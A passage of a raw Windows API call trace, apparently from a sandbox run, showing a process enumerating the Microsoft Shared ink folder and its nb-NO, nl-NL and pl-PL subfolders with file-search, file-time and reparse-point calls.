lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0047.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.695] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.695] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.695] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.695] NtClose (Handle=0x17c) returned 0x0 [0047.695] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.695] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.695] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.695] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.695] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.695] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.696] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9900 [0047.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8c70 [0047.696] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.696] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.696] GetLastError () returned 0x12 [0047.696] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.696] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.696] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.696] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.696] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.696] GetLastError () returned 0x12 [0047.696] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.696] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.696] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.696] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.696] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0047.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.697] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.697] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.697] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.697] NtClose (Handle=0x170) returned 0x0 [0047.697] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.697] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.697] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.698] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x300000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.698] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.698] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.698] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9920 [0047.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8d78 [0047.698] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.698] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x300000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.698] GetLastError () returned 0x12 [0047.698] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.698] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.698] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.698] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x300000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.698] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x300000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.698] GetLastError () returned 0x12 [0047.698] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.698] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.698] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.698] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.698] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0047.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.774] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.775] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.775] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.775] NtClose (Handle=0x17c) returned 0x0 [0047.775] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.775] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.775] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.775] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.775] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.775] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.775] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9940 [0047.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8e80 [0047.775] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.775] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.775] GetLastError () returned 0x12 [0047.776] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.776] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.776] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.776] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.776] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.776] GetLastError () returned 0x12 